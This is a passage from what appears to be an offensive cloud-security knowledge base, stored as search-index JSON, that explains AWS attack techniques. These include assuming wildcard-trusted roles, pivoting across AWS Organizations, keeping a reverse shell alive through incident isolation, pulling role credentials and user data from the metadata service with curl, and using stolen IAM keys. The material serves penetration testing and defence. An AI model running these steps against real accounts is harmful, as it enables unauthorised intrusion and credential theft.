      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/#identification","title":"Identification","text":"

      To find exposed ECR private repositories you can use Prowler, an open source tool to audit for AWS security. The following command can be used with version 3.0 or higher.

      ./prowler -c ecr_repositories_not_publicly_accessible\n                         _\n _ __  _ __ _____      _| | ___ _ __\n| '_ \\| '__/ _ \\ \\ /\\ / / |/ _ \\ '__|\n| |_) | | | (_) \\ V  V /| |  __/ |\n| .__/|_|  \\___/ \\_/\\_/ |_|\\___|_|v3.0-beta-21Nov2022\n|_| the handy cloud security tool\n\nDate: 2022-11-26 19:12:03\n\nThis report is being generated using credentials below:\n\nAWS-CLI Profile: [default] AWS Filter Region: [all]\nAWS Account: [000000000000] UserId: [AROAQQPLEQBZZHQGGAQ55:Nick]\nCaller Identity ARN: [arn:aws:sts::000000000000:assumed-role/snip/Nick]\n\nExecuting 1 checks, please wait...\n\n-> Scan is completed! |\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589| 1/1 [100%] in 4.5s \n\nOverview Results:\n\u256d\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u256e\n\u2502 100.0% (1) Failed \u2502 0.0% (0) Passed \u2502\n\u2570\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u256f\n\nAccount 009619941490 Scan Results (severity columns are for fails only):\n\u256d\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u256e\n\u2502 Provider   \u2502 Service   \u2502 Status   \u2502   Critical \u2502   High \u2502   Medium \u2502   Low \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 aws        \u2502 ecr       \u2502 FAIL (1) \u2502          1 \u2502      0 \u2502        0 \u2502     0 \u2502\n\u2570\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u256f\n

      Note

      Condition elements may induce false positives.

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/","title":"Abusing Misconfigured Role Trust Policies with a Wildcard Principal","text":"

      As penetration testers and red teamers we often take advantage of misconfigurations to exploit cloud environments. These are mistakes made by developers and DevOps engineers that make applications and services vulnerable to attack. In this article we will explore one of the more egregious mistakes that can be made in an AWS environment; setting a wildcard as a Principal in a role trust policy.

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/#role-trust-policies","title":"Role Trust Policies","text":"

      As stated in the AWS documentation, a role trust policy is, \"A JSON policy document in which you define the principals that you trust to assume the role. A role trust policy is a required resource-based policy that is attached to a role in IAM\".

      This policy typically looks like the following:

      {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"arn:aws:iam::111111111111:root\"\n            },\n            \"Action\": \"sts:AssumeRole\"\n        }\n    ]\n}\n

      This policy would Allow anyone in the 111111111111 account the ability to perform the action sts:AssumeRole (assume the role), provided that they have the action in their IAM identity-based policy.

      As mentioned in our documentation on Misconfigured Resource Based Policies, there are a variety of options that can be used for the Principal element, including, AWS accounts, specific IAM roles, role sessions, IAM users, and AWS services. Arguably the most risky is the \"wildcard\" Principal. This Principal encompasses ALL AWS principals.

      Warning

      A common misunderstanding is that the wildcard Principal is limited to either the same AWS account or the same AWS organization. This is not correct. The wildcard Principal applies to EVERY AWS account.

      If a role trust policy is configured with a wildcard Principal element, such as the one shown below, anyone in the world can assume the role.

      {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"*\"\n            },\n            \"Action\": \"sts:AssumeRole\"\n        }\n    ]\n}\n

      It's worth noting that, while the simplest version of this misconfiguration can be easy to spot, more complex versions you will see in the wild may not be. Take the following policy for example:

      Warning

      Do NOT use this trust policy.

      {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"*\"\n            },\n            \"Action\": \"sts:AssumeRole\",\n            \"Condition\": {\n                \"ArnNotEquals\": {\n                    \"aws:PrincipalArn\": \"arn:aws:iam::555555555555:role/intent-allow-role\"\n                }\n            }\n        }\n    ]\n}\n

      In this example, the intention was to create a policy that Denied all Principals except the intent-allow-role. However, while creating this policy, the Effect was mistakenly changed to an Allow, which had the opposite effect, now anyone except intent-allow-role can assume the role.

      These types of more complicated role trust policies may slip through some CSPM/CNAPP solutions which don't thoroughly model all IAM policies. Be on the lookout for these types of mistakes on your next assessment!

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/#how-to-exploit","title":"How to Exploit","text":"

      In order to exploit a role that has a wildcard set as a Principal, you simply invoke sts:AssumeRole from an attacker controlled AWS account. Any AWS account, including those outside of the victim's AWS Organization, will work.

      aws sts assume-role \\\n--role-arn arn:aws:iam::222222222222:role/victim-role \\\n--role-session-name blahsessionname\n

      Tip

      There are various methods to enumerate role ARNs such as unauthenticated brute force, and enumerating an ARN from a unique identifier.

      "},{"location":"aws/general-knowledge/aws_cli_tips_and_tricks/","title":"AWS CLI Tips and Tricks","text":""},{"location":"aws/general-knowledge/aws_cli_tips_and_tricks/#standard-inputoutput-redirection-with-","title":"Standard Input/Output Redirection with \"-\"","text":"

      Warning

      The following examples have been tested in bash and zsh. Functionality may vary in other shells. If you find these commands work in additional environments, please open a pull request to update this note.

      When working in an AWS environment, you may frequently need to view the contents of objects stored in S3. The traditional approach involves a two-step process: using s3:cp to download the file to your local machine, then using cat or a similar tool to view it. While effective, this method can clutter your local system with temporary files and may be slower than necessary.

      Fortunately, the AWS CLI allows us to simplify this process by using the - character which represents standard input/output (STDIN/STDOUT). Using -, you can read or write file content directly from or to S3 without creating local copies.

      "},{"location":"aws/general-knowledge/aws_cli_tips_and_tricks/#reading-from-s3","title":"Reading from S3","text":"

      To read the contents of an object stored in S3 without having to download it first, use the following command:

      aws s3 cp s3://bucket-name/object-key -\n

      Example:

      nick@host:~$ aws s3 cp s3://hackingthecloud/content -\nhacking the cloud\n
      "},{"location":"aws/general-knowledge/aws_cli_tips_and_tricks/#writing-to-s3","title":"Writing to S3","text":"

      To upload content directly to an object in S3 without a temporary file, use this command:

      echo \"hacking the cloud\" | aws s3 cp - s3://bucket-name/object-key\n

      This command writes the specified text to an S3 object, again bypassing the need for a local file.

      "},{"location":"aws/general-knowledge/aws_cli_tips_and_tricks/#modifying-the-cloudtrail-log-user-agent-with-aws_execution_env","title":"Modifying the CloudTrail Log User-Agent with AWS_EXECUTION_ENV","text":"

      Shout-out

      Shout-out to Christophe Tafani-Dereeper for showing me this.

      When making API calls to AWS, a User-Agent header is included in each request, containing details about the client making the request. Although it\u2019s not possible to fully customize this header, you can append information to it, which can be useful for tracking API calls in CloudTrail logs.

      One way to modify the User-Agent is by setting the AWS_EXECUTION_ENV environment variable, used by AWS SDKs to identify the execution environment. Tools like grimoire leverage this variable to append custom information to the User-Agent header, making API tracking more informative.

      "},{"location":"aws/general-knowledge/aws_organizations_defaults/","title":"AWS Organizations Defaults & Pivoting","text":"
      • Original Research

        Pivoting AWS Organizations 1 & Pivoting AWS Organizations 2 by Scott Weston

      Almost all mid-to-large sized AWS environments make use of multi-account architecture. Using multiple AWS accounts offers a number of benefits and is considered a best practice. To help organize and manage those accounts, AWS offers a service called AWS Organizations.

      Due to the ubiquity of AWS Organizations, it is important for Penetration Testers and Red Teamers to familiarize themselves with its default configuration.

      When an account creates an organization it becomes the management account of that organization. Each organization has one management account, and this account effectively \"owns\" the organization.

      "},{"location":"aws/general-knowledge/aws_organizations_defaults/#creating-member-accounts-default-organizationaccountaccessrole","title":"Creating Member Accounts: Default OrganizationAccountAccessRole","text":"

      When an account is created through AWS Organizations, it is considered a member of the organization (hence, member account). As a part of this account creation process, AWS Organizations will create a role in the member account called OrganizationAccountAccessRole. This role is created in each member account.

      By default, the OrganizationAccountAccessRole has the AdministratorAccess policy attached to it, giving the role complete control over the member account. In addition, the default trust policy on the role is as shown below where 000000000000 is the account ID of the management account.

      {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"arn:aws:iam::000000000000:root\"\n            },\n            \"Action\": \"sts:AssumeRole\"\n        }\n    ]\n}\n

      These things combined mean that, should an attacker compromise the management account, the default behavior of AWS Organizations provides a path to compromise every account in the organization as an administrator, assuming that the member account was created through AWS organizations (as opposed to invited). For offensive security professionals, identifying paths into the management account can be an incredibly fruitful exercise, and may result in an entire organization compromise.

      For defensive security teams, it would be a good idea to ensure no infrastructure is deployed into the management account to reduce attack surface. Additionally, carefully controlling who has access to it and monitoring that access would also help to reduce risk.

      Scott Weston has added a module to Pacu to brute force this role name or a list of role names. So if a management account is compromised, and the user wants to attempt to assume one to many role names on all accounts, they can run the following Pacu Module

      Pacu (role:ManagementAccount) > run organizations__assume_role\n[ Review the results to see if any of the following roles are assumed] \n
      "},{"location":"aws/general-knowledge/aws_organizations_defaults/#inviting-pre-existing-member-accounts-trusted-access-delegated-administration","title":"Inviting Pre-Existing Member Accounts: Trusted Access & Delegated Administration","text":"

      When a pre-existing AWS account is invited to join an organization, it does not auto-generate a default role with AdministratorAccess like the account creation workflow. As a pentester, one can look into trusted access and delegated administration to see if there are any more avenues to pivot such that you can move from the compromised management account/delegated admin to another member account in the organization. Depending on the features available, this might allow for indirect access to other member accounts (ex. IAM Access Analyzer), or direct access with some setup (IAM Identity Center).

      "},{"location":"aws/general-knowledge/aws_organizations_defaults/#organization-integrated-features","title":"Organization-Integrated Features","text":"

      Many AWS services include specific features that have the capability to scope to the entire organization. For example, IAM Access Analyzer is a feature within the overall IAM service. Normally a user would just run Access Analyzer on their own AWS account to find roles with trust policies that reference outside AWS account sources. Because IAM Access Analyzer is an organization-integrated feature, if the target AWS account is part of an organization, a user can choose to scope Access Analyzer from their single account to the organization meaning Access Analyzer will check all AWS account roles in the organization and consider \"untrusted\" sources as any resource outside of the organization (as opposed to the single AWS account). IAM Access Analyzer is just one example, but there are a multitude of features that can do a similar scope increase to the organization that all behave differently. This might sound complicated, but from a UI perspective, this basically just means there is another option in the dropdown or radio buttons when kicking off the service that lets you choose \"organization\" instead of the specifc account you are in. A list of all these can be found here

      "},{"location":"aws/general-knowledge/aws_organizations_defaults/#helpful-diagram","title":"Helpful Diagram","text":"

      Trusted Access & Delegated Administration

      "},{"location":"aws/general-knowledge/aws_organizations_defaults/#trusted-access","title":"Trusted Access","text":"

      These organization integrated features are in an \"off\" state by default. Trusted access is the act of the management account turning \"on\" the organization integrated features. For example, even if a member account is part of an organization, they will not be able to increase the scope of IAM Access Analyzer to the organization until the management account enables trusted access for IAM Access Analyzer for the organization. On a technical level, the act of turning \"on\" an organization-integrated feature via trusted access allows the feature to make roles in member accounts to carry out its tasks. There is an AWS CLI command the management account can run to enable one of these organization-integrated features and list those that are present as seen below:

      Note

      Trusted access is enabled via the management account and allows IAM Access Analyzer to reach into all member accounts to achieve its objective.

      "},{"location":"aws/general-knowledge/aws_organizations_defaults/#delegated-administration","title":"Delegated Administration","text":"

      Delegated Administration is pretty much like trusted access, but is from the perspective of a member account. In delegated administration, the user allows one of the member accounts to execute an organization-integrated feature on the AWS organization, essentially \"delegating\" the \"administration\" of that feature to that member account. We would say that a member account is \"a delegated administrator for service ABC (ex. IAM Access Analyzer).\" The CLI command to see all delegated administrators in an organization is shown below. If you are a member account, and call this API, and your AWS account is listed in the output, than that is a good way to confirm you are in a delegated admin account. Note again that a delegated admin is for a specific service so rather than searching through every single feature to see what you are a delegated admin for, you can call the API shown below to see what specific feature you are a delegated admin for.

      Besides the ability to run specific organization-integrated features, note that the member account also in general gains access to numerous read-only APIs. For example, note how this CLI command states that a \"delegated administrator\" can run it. While a default member account can only see itself and the management account in an organization, a delegated administrator can potentially see all AWS accounts in the organization.

      As of late 2022, delegated administrators also potentially have the ability to manipulate SCPs (which are basically IAM policy filters at the organization level). See the attached blog article for a review of this avenue.

      "},{"location":"aws/general-knowledge/aws_organizations_defaults/#iam-access-analyzer-indirect-route","title":"IAM Access Analyzer (Indirect Route):","text":"

      IAM Access Analyzer allows one to scan all roles in the organization. If an attacker compromises the managament account where trusted access is enabled for IAM Access Analyzer (or the attacker enables it depending on permissions), the attacker could run IAM Access Analyzer on the entire organization and review the results to see if there are any misconfigured roles they can pivot to. Note the attacker NEVER directly got access to the member accounts and was constrained to the management account. Rather the attacker just ran the organization-integrated feature which accesses the member accounts giving the attacker indirect access to the organization. See the blog post in references for images/walkthrough.

      Now imagine an attacker compromises a member account. If the member account is a delegated administrator for IAM Access Analyzer, the attacker can perform a similar action of launching the feature and reviewing the results without ever directly accessing the member accounts. In addition, if a delegated administrator is compromised, the attacker can also see much more of the organization and what the structure looks like due to their read-only rights. See the blog post in references for images/walkthrough.

      "},{"location":"aws/general-knowledge/aws_organizations_defaults/#iam-identity-center-direct-route","title":"IAM Identity Center (Direct Route)","text":"

      IAM Identity center supports trusted access, and allows one to create a user entity, a permission set, and attach the user and permission set to an account in the organization. So, if an attacker compromises a management account, the attacker could enable trusted access for IAM Identity Center (assuming it is not already enabled). Then the attacker (if they have the necessary permissions), can create a user entity with a username/password and the attacker email, and create a permission set entity that is the equivalent of AdministratorAccess. The attacker can then attach the user and permissions to a member account in the organization through IAM Identity Center in the management account, and navigate to the IAM Identity Center login link. The attacker then can enter the users username/password and get access to the member account directly as Administrator Access. See the references section for the blog post with images/walkthrough/etc.

      "},{"location":"aws/general-knowledge/aws_organizations_defaults/#automated-tools","title":"Automated Tools","text":"

      To enumerate an organization for all the info discussed above, you can use the Pacu module shown below:

      # Run Module\nPacu (Session: Keys) > run organizations__enum\n\n# See Data Collected/Enumerated\nPacu (Session: Keys) > data organizations\n

      Relevant pull requests can be found here and here.

      "},{"location":"aws/general-knowledge/block-expensive-actions-with-scps/","title":"Prevent Expensive AWS API Actions with SCPs","text":"
      • Original Research

        List of expensive / long-term effect AWS IAM actions by Ian McKay

      • Additional Resources

        • Service Control Policies (SCPs)
        • Attaching and detaching service control policies

      An ever-present danger when using AWS is accidentally making an API call that could cost you thousands of dollars. Speaking from experience, this can be a remarkably stressful time. To mitigate this risk, implementing guardrails on your account is essential. One way to do this is to block API operations which are known to be expensive. Operations like signing up for certain AWS services or creating non-deletable resources can lead to high costs.

      "},{"location":"aws/general-knowledge/block-expensive-actions-with-scps/#understanding-service-control-policies","title":"Understanding Service Control Policies","text":"

      To help prevent billing headaches when learning about AWS security or conducting research we can use a Service Control Policy (SCP). An SCP is a type of organizational policy which restricts what API calls can be made by member accounts in an AWS Organization. Thanks to the work of Ian McKay, and other community members, we have a list of AWS API operations which are prohibitively expensive and should be avoided.

      To implement the policy below, refer to the AWS documentation for detailed instructions on attaching and managing SCPs.

      Warning

      While this SCP provides a significant safeguard, it is not entirely foolproof. You can still incur high charges if not careful. This policy only blocks known problematic API calls. Always exercise caution when creating or configuring resources in AWS.

      "},{"location":"aws/general-knowledge/block-expensive-actions-with-scps/#safeguard-scp","title":"Safeguard SCP","text":"
      {\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Sid\": \"Statement1\",\n      \"Effect\": \"Deny\",\n      \"Action\": [\n        \"route53domains:RegisterDomain\",\n        \"route53domains:RenewDomain\",\n        \"route53domains:TransferDomain\",\n        \"ec2:ModifyReservedInstances\",\n        \"ec2:PurchaseHostReservation\",\n        \"ec2:PurchaseReservedInstancesOffering\",\n        \"ec2:PurchaseScheduledInstances\",\n        \"rds:PurchaseReservedDBInstancesOffering\",\n        \"dynamodb:PurchaseReservedCapacityOfferings\",\n        \"s3:PutObjectRetention\",\n        \"s3:PutObjectLegalHold\",\n        \"s3:BypassGovernanceRetention\",\n        \"s3:PutBucketObjectLockConfiguration\",\n        \"elasticache:PurchaseReservedCacheNodesOffering\",\n        \"redshift:PurchaseReservedNodeOffering\",\n        \"savingsplans:CreateSavingsPlan\",\n        \"aws-marketplace:AcceptAgreementApprovalRequest\",\n        \"aws-marketplace:Subscribe\",\n        \"shield:CreateSubscription\",\n        \"acm-pca:CreateCertificateAuthority\",\n        \"es:PurchaseReservedElasticsearchInstanceOffering\",\n        \"outposts:CreateOutpost\",\n        \"snowball:CreateCluster\",\n        \"s3-object-lambda:PutObjectLegalHold\",\n        \"s3-object-lambda:PutObjectRetention\",\n        \"glacier:InitiateVaultLock\",\n        \"glacier:CompleteVaultLock\",\n        \"es:PurchaseReservedInstanceOffering\",\n        \"backup:PutBackupVaultLockConfiguration\",\n        \"bedrock:CreateProvisionedModelThroughput\",\n        \"bedrock:UpdateProvisionedModelThroughput\"\n      ],\n      \"Resource\": [\n        \"*\"\n      ]\n    }\n  ]\n}\n
      "},{"location":"aws/general-knowledge/connection-tracking/","title":"Connection Tracking","text":"
      • Original Research

        Abusing AWS Connection Tracking by Nick Frichette

      Security Groups in AWS have an interesting capability known as Connection Tracking. This allows the security groups to track information about the network traffic and allow/deny that traffic based on the Security Group rules.

      There are two kinds of traffic flows; tracked and untracked. For example the AWS documentation mentions a tracked flow as the following, \"if you initiate an ICMP ping command to your instance from your home computer, and your inbound security group rules allow ICMP traffic, information about the connection (including the port information) is tracked. Response traffic from the instance for the ping command is not tracked as a new request, but rather as an established connection and is allowed to flow out of the instance, even if your outbound security group rules restrict outbound ICMP traffic\".

      An interesting side effect of this is that tracked connections are allowed to persist, even after a Security Group rule change.

      Let's take a simple example: There is an EC2 instance that runs a web application. This EC2 instance has a simple Security Group that allows SSH, port 80, and port 443 inbound, and allows all traffic outbound. This EC2 instance is in a public subnet and is internet facing.

      While performing a penetration test you've gained command execution on this EC2 instance. In doing so, you pop a simple reverse shell. You work your magic on the box before eventually triggering an alert to our friendly neighborhood defender. They follow their runbooks which may borrow from the official AWS whitepaper on incident response.

      As part of the \"Isolate\" step, the typical goal is to isolate the affected EC2 instance with either a restrictive Security Group or an explicit Deny NACL. The slight problem with this is that NACLs affect the entire subnet, and if you are operating in a space with a ton of EC2 instances the defender is unlikely to want to cause an outage for all of them. As a result, swapping the Security Group is the recommended procedure.

      The defender switches the Security Group from the web and ssh one, to one that does not allow anything inbound or outbound.

      The beauty of connection tracking is that because you've already established a connection with your shell, it will persist. So long as you ran the shell before the SG change, you can continue scouring the box and looking for other vulnerabilities.

      To be clear, if the restrictive security group doesn't allow for any outbound rules we won't be able to communicate out (and if you're using a beaconing C2 that will not function).

      "},{"location":"aws/general-knowledge/iam-key-identifiers/","title":"IAM ID Identifiers","text":"
      • Additional Resources

        Reference: AWS Documentation: Unique Identifiers

      In AWS, different resources are assigned a \"unique identifier\". This identifier is a unique, 21 character value. The first four characters of the identifier are a prefix to denote the type of resource it represents.

      The full list of prefixes can be found below.

      Prefix Entity Type ABIA AWS STS service bearer token ACCA Context-specific credential AGPA Group AIDA IAM user AIPA Amazon EC2 instance profile AKIA Access key ANPA Managed policy ANVA Version in a managed policy APKA Public key AROA Role ASCA Certificate ASIA Temporary (AWS STS) keys

      From a security perspective, there are 2 primary prefixes which are important to know, AKIA and ASIA.

      "},{"location":"aws/general-knowledge/iam-key-identifiers/#akia","title":"AKIA","text":"

      IAM credentials with the AKIA prefix belong to long lived access keys. These are associated with IAM users. These credentials can potentially be exposed and used by attackers. Because they do not expire by default, they serve as an excellent vehicle to gain initial access to an AWS environment.

      "},{"location":"aws/general-knowledge/iam-key-identifiers/#asia","title":"ASIA","text":"

      IAM credentials with the ASIA prefix belong to short lived access keys which were generated using STS. These credentials last for a limited time. In the event you come across an access key prefixed with ASIA, a secret key, and a session token, make use of them quickly before they expire.

      "},{"location":"aws/general-knowledge/intro_metadata_service/","title":"Introduction to the Instance Metadata Service","text":"

      Every EC2 instance has access to the instance metadata service (IMDS) that contains metadata and information about that specific EC2 instance. In addition, if an IAM Role is associated with the EC2 instance, credentials for that role will be in the metadata service. Because of this, the instance metadata service is a prime target for attackers who gain access to an EC2 instance.

      "},{"location":"aws/general-knowledge/intro_metadata_service/#how-to-access-the-metadata-service","title":"How to Access the Metadata Service","text":"

      The metadata service can be accessed at http://169.254.169.254/latest/meta-data/ from the EC2 instance. Alternatively, it can also be reached via IPv6 at http://[fd00:ec2::254]/latest/meta-data/ however this only applies to Nitro EC2 instances.

      To get credentials, you will first need to make a request to http://169.254.169.254/latest/meta-data/iam/security-credentials/. The response to this will return the name of the IAM role associated with the credentials. You then make a subsequent request to retrieve the IAM credentials at http://169.254.169.254/latest/meta-data/iam/security-credentials/*role_name*/.

      "},{"location":"aws/general-knowledge/intro_metadata_service/#imdsv2","title":"IMDSv2","text":"

      Version two of the metadata service has added protections against SSRF and requires the user to create and use a token. You can access it via the following.

      user@host:~$ TOKEN=`curl -X PUT \"http://169.254.169.254/latest/api/token\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\"`\nuser@host:~$ curl -H \"X-aws-ec2-metadata-token: $TOKEN\" -v http://169.254.169.254/latest/meta-data/\n
      "},{"location":"aws/general-knowledge/intro_metadata_service/#the-security-benefits-of-imdsv2","title":"The Security Benefits of IMDSv2","text":"

      IMDSv2 offers a number of security improvements over the original. Wherever possible, IMDSv2 should be enforced over the original metadata service. These improvements take the following form:

      Session Authentication: In order to retrieve information from the metadata service a session must be created by sending a HTTP PUT request to retrieve a token value. After this, the token must be used for all subsequent requests. This mechanism effectively mitigates traditional Server Side Request Forgery attacks, as an attacker is unlikely to be able to send a PUT request.

      Blocks X-Forwarded-For Header: IMDSv2 will block requests to fetch a token that include the X-Forwarded-For header. This is to prevent misconfigured reverse proxies from being able to access it.

      TTL of 1: The default configuration of IMDSv2 is to set the Time To Live (TTL) of the TCP packet containing the session token to \"1\". This ensures that misconfigured network appliances (firewalls, NAT devices, routers, etc.) will not forward the packet on. This also means that Docker containers using the default networking configuration (bridge mode) will not be able to reach the instance metadata service.

      Note

      While the default configuration of IMDSv2 will prevent a Docker container from being able to reach the metadata service, this can be configured via the \"hop limit.\"

      "},{"location":"aws/general-knowledge/intro_metadata_service/#what-info-the-metadata-service-contains","title":"What Info the Metadata Service Contains","text":"

      The following information was pulled from here.

      Endpoint Description ami-id The AMI ID used to launch the instance. ami-launch-index If you started more than one instance at the same time, this value indicates the order in which the instance was launched. The value of the first instance launched is 0. ami-manifest-path The path to the AMI manifest file in Amazon S3. If you used an Amazon EBS-backed AMI to launch the instance, the returned result is unknown. hostname The private IPv4 DNS hostname of the instance. In cases where multiple network interfaces are present, this refers to the eth0 device (the device for which the device number is 0). iam/info If there is an IAM role associated with the instance, contains information about the last time the instance profile was updated, including the instance's LastUpdated date, InstanceProfileArn, and InstanceProfileId. Otherwise, not present. iam/security-credentials/role-name If there is an IAM role associated with the instance, role-name is the name of the role, and role-name contains the temporary security credentials associated with the role. Otherwise, not present. identity-credentials/ec2/info [Internal use only] Information about the credentials in identity-credentials/ec2/security-credentials/ec2-instance. These credentials are used by AWS features such as EC2 Instance Connect, and do not have any additional AWS API permissions or privileges beyond identifying the instance. instance-id The ID of this instance. local-hostname The private IPv4 DNS hostname of the instance. In cases where multiple network interfaces are present, this refers to the eth0 device (the device for which the device number is 0). local-ipv4 The private IPv4 address of the instance. In cases where multiple network interfaces are present, this refers to the eth0 device (the device for which the device number is 0). public-hostname The instance's public DNS. This category is only returned if the enableDnsHostnames attribute is set to true. public-ipv4 The public IPv4 address. If an Elastic IP address is associated with the instance, the value returned is the Elastic IP address. public-keys/0/openssh-key Public key. Only available if supplied at instance launch time. security-groups The names of the security groups applied to the instance."},{"location":"aws/general-knowledge/introduction_user_data/","title":"Introduction to User Data","text":"

      Instance user data is used to run commands when an EC2 instance is first started or after it is rebooted (with some configuration). Because this script is typically used to install software and configure the instance, this can be an excellent source of information for us as attackers. After gaining access to an EC2 instance you should immediately grab the user data script to gain information on the environment.

      Warning

      Although it should not be done, credentials/secrets often end up being stored in user data. From the AWS docs, \"Although you can only access instance metadata and user data from within the instance itself, the data is not protected by authentication or cryptographic methods. Anyone who has direct access to the instance, and potentially any software running on the instance, can view its metadata. Therefore, you should not store sensitive data, such as passwords or long-lived encryption keys, as user data.\"

      "},{"location":"aws/general-knowledge/introduction_user_data/#how-to-access-ec2-user-data","title":"How to Access EC2 User Data","text":"

      User data can be accessed at http://169.254.169.254/latest/user-data/ from the EC2 instance.

      "},{"location":"aws/general-knowledge/introduction_user_data/#imdsv2","title":"IMDSv2","text":"

      Version two of the metadata service has added protections against SSRF and requires the user to create and use a token. You can access it via the following.

      user@host:~$ TOKEN=`curl -X PUT \"http://169.254.169.254/latest/api/token\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\"`\nuser@host:~$ curl -H \"X-aws-ec2-metadata-token: $TOKEN\" -v http://169.254.169.254/latest/user-data/\n
      "},{"location":"aws/general-knowledge/introduction_user_data/#api","title":"API","text":"

      Another option to gather user data is via the API. If you escalate privileges in an account, or simply compromise a user/role with sufficient permissions, you can query the AWS API to view the user data of specific EC2 instances. This requires you to know the instance-id of the target EC2 instance. To query the user data we will use the describe-instance-attribute action. The result will be base64 encoded.

      user@host:~$ aws ec2 describe-instance-attribute --instance-id i-abc123... --attribute userData\n
      "},{"location":"aws/general-knowledge/using_stolen_iam_credentials/","title":"Using Stolen IAM Credentials","text":"

      As a Penetration Tester or Red Teamer it is likely you will stumble into AWS IAM credentials during an assessment. The following is a step by step guide on how you can use them, things to consider, and methods to avoid detection.

      "},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#iam-credential-characteristics","title":"IAM Credential Characteristics","text":"

      In AWS there are typically two types of credentials you will be working with, long term (access keys) and short term.

      Long term credentials will have an access key that starts with AKIA and will be 20 characters long. In addition to the access key there will also be a secret access key which is 40 characters long. With these two keys, you can potentially make requests against the AWS API. As the name implies, these credentials have no specified lifespan and will be useable until they are intentionally disabled/deactivated. As a result, this makes them not recommended from a security perspective. Temporary security credentials are preferred.

      Temporary credentials, by comparison, will have an access key that starts with ASIA, be 20 characters long, and also have a 40 character secret key. In addition, temporary security credentials will also have a session token (sometimes referred to as a security token). The session token will be base64 encoded and quite long. With these 3 credentials combined you can potentially make requests to the AWS API. As the name implies, these credentials have a temporary lifespan that is determined when they were created. It can be as short as 15 minutes, and as long as several hours.

      "},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#working-with-the-keys","title":"Working with the Keys","text":"

      After gathering the credentials you will likely want to use them with the AWS CLI. There are a few ways to do this, however setting them as environment variables is likely the easiest.

      To do this with long term credentials, set the following environment variables.

      export AWS_ACCESS_KEY_ID=AKIAEXAMPLEEXAMPLEEE\nexport AWS_SECRET_ACCESS_KEY=EXAMPLEEXAMPLEEXAMPLEEXAMPLEEXAMPLESEXAM\n

      To do this with short term credentials, set the following environment variables.

      export AWS_ACCESS_KEY_ID=ASIAEXAMPLEEXAMPLEEE\nexport AWS_SECRET_ACCESS_KEY=EXAMPLEEXAMPLEEXAMPLEEXAMPLEEXAMPLESEXAM\nexport AWS_SESSION_TOKEN=EXAMPLEEXAMPLEEXAMPLE...<snip>\n

      Note

      You may also have to specify an AWS region. This can be globally set with the aws configure command or through the AWS_REGION environment variable.

      "},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#determining-validity","title":"Determining Validity","text":"

